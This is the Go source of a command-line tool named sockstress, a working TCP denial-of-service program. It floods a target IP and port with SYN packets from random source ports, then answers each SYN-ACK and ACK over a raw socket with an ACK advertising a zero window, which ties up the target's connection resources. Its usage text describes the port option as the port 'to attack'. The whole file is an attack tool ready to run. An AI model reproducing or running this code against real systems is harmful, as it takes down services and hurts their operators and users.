package main import ( "flag" "fmt" "github.com/marcelki/sockstress/tcp" "io/ioutil" "log" "math/rand" "net" "os" "strings" "time" ) var ( p = flag.Uint("p", 1, "") ifaceParam = flag.String("i", "", "") payload = flag.String("data", "", "") help = flag.Bool("h", false, "") delay = flag.Duration("d", 1000, "") data []byte numSendACK int numSendSYN int numRecvSYNACK int numRecvACK int numRecvRST int ) var usage = `Usage: sockstress [options...] Options: -p The destination port to attack. -i The network interface to use. -d The delay between SYN packets You can choose your unit of time (e.g. 1ns, 0.001s) -data Choose a file to use as the payload/data -h Display this help. ` func init() { rand.Seed(time.Now().UTC().UnixNano()) } func main() { flag.Usage = func() { fmt.Fprint(os.Stderr, usage) } flag.Parse() if flag.NArg() < 1 || *help { flag.Usage() os.Exit(1) } dstIP := flag.Args()[0] port := uint16(*p) ip := net.ParseIP(dstIP) if ip == nil { fmt.Fprintf(os.Stderr, fmt.Sprintf("Given ip address: %v is not valid\n", dstIP)) os.Exit(1) } else if port < 1 { fmt.Fprintf(os.Stderr, fmt.Sprintf("Port: %v is not valid\n", port)) os.Exit(1) } var err error iface := *ifaceParam if iface == "" { iface, err = getInterface() if err != nil { fmt.Fprintf(os.Stderr, err.Error()) os.Exit(1) } fmt.Fprintf(os.Stdout, fmt.Sprintf("Using the %s network interface.\n", iface)) } lAddr, err := interfaceAddress(iface) if err != nil { fmt.Fprintf(os.Stderr, err.Error()) os.Exit(1) } if *payload != "" { fileInfo, err := os.Stat(*payload) if err != nil { if os.IsNotExist(err) { fmt.Fprintf(os.Stderr, "Given file %s does not exist\n", *payload) os.Exit(1) } fmt.Fprintf(os.Stderr, err.Error()) os.Exit(1) } if fileInfo.IsDir() { fmt.Fprintf(os.Stderr, "Directories are not supported as payloads\n") os.Exit(1) } data, err = ioutil.ReadFile(*payload) if err != nil { log.Fatalf("Error reading %s file\n", *payload) } } go sendSyn(lAddr, dstIP, port) go listen(lAddr, dstIP) ticker := time.Tick(time.Second) for { fmt.Printf("SENT: syn: %v ack: %v - RECV: synack: %v ack: %v rst: %v\r", numSendSYN, numSendACK, numRecvSYNACK, numRecvACK, numRecvRST) <-ticker } } func listen(lAddr, rAddr string) { addr, err := net.ResolveIPAddr("ip4", lAddr) if err != nil { log.Fatalf("Error resolving ip address: %s\n", err) } conn, err := net.ListenIP("ip4:tcp", addr) if err != nil { log.Fatalf("Error listening ip stack: %s\n", err) } buf := make([]byte, 4096) for { n, raddr, err := conn.ReadFrom(buf) if err != nil { if nErr, ok := err.(net.Error); ok && nErr.Temporary() { continue } log.Fatalf("Error reading from ip socket: %s\n", err) } if raddr.String() != rAddr { continue } header := tcp.NewHeader(buf[:n]) if header.HasFlag(tcp.SYN) && header.HasFlag(tcp.ACK) { numRecvSYNACK++ sendAck(header, lAddr, rAddr) } else if header.HasFlag(tcp.ACK) { numRecvACK++ sendAck(header, lAddr, rAddr) } else if header.HasFlag(tcp.RST) { numRecvRST++ } } } func sendSyn(lAddr, rAddr string, dst uint16) { conn, err := net.Dial("ip4:tcp", rAddr) if err != nil { log.Fatalf("Error sending syn: %s\n", err) } defer conn.Close() buf := make([]byte, 256) for { p := tcp.Header{ Source: randUint16(1024, 65535), Destination: dst, SeqNum: rand.Uint32(), AckNum: 0, DataOffset: 5, Reserved: 0, ECN: 0, Ctrl: tcp.SYN, Window: 0xAAAA, Checksum: 0, Urgent: 0, Options: nil, } buf = p.Marshal() p.Checksum = tcp.Checksum(buf, lAddr, rAddr) buf = p.Marshal() _, err = conn.Write(buf) if err != nil { // TODO: error handling log.Fatalf("Error sending syn: %s\n", err) } numSendSYN++ time.Sleep(*delay) } } func sendAck(header *tcp.Header, lAddr, rAddr string) { conn, err := net.Dial("ip4:tcp", rAddr) if err != nil { log.Fatalf("Error connecting to: %s\n", rAddr) } defer conn.Close() newHeader := tcp.Header{ Source: header.Destination, Destination: header.Source, SeqNum: header.AckNum, AckNum: header.SeqNum, DataOffset: 5, Reserved: 0, ECN: 0, Ctrl: tcp.ACK, Window: 0, Checksum: 0, Urgent: 0, Options: nil, } if header.HasFlag(tcp.SYN) && header.HasFlag(tcp.ACK) { newHeader.AckNum += 1 } buf := newHeader.Marshal() newHeader.Checksum = tcp.Checksum(buf, lAddr, rAddr) buf = newHeader.Marshal() if header.HasFlag(tcp.SYN) && header.HasFlag(tcp.ACK) { buf = append(buf, data...) } _, err = conn.Write(buf) if err != nil { // TODO: error handling log.Fatalf("Error sending ack: %s\n", err) } numSendACK++ } func randUint16(min, max int) uint16 { return uint16(rand.Intn(max-min) + min) } func interfaceAddress(name string) (string, error) { iface, err := net.InterfaceByName(name) if err != nil { return "", fmt.Errorf("Error getting the interface by name for %s. %s\n", name, err) } addrs, err := iface.Addrs() if err != nil { return "", fmt.Errorf("Error getting the iface address: %s\n", err) } addr := addrs[0].String() return strings.Split(addr, "/")[0], nil } func getInterface() (string, error) { ifaces, err := net.Interfaces() if err != nil { return "", fmt.Errorf("Error getting interface: %s\n", err) } for _, iface := range ifaces { if iface.Name == "lo" { continue } addrs, err := iface.Addrs() if err != nil { return "", fmt.Errorf("Error getting address for interface %s: %s\n", iface.Name, err) } if len(addrs) > 0 { return iface.Name, nil } } return "", fmt.Errorf("No interface found\n") }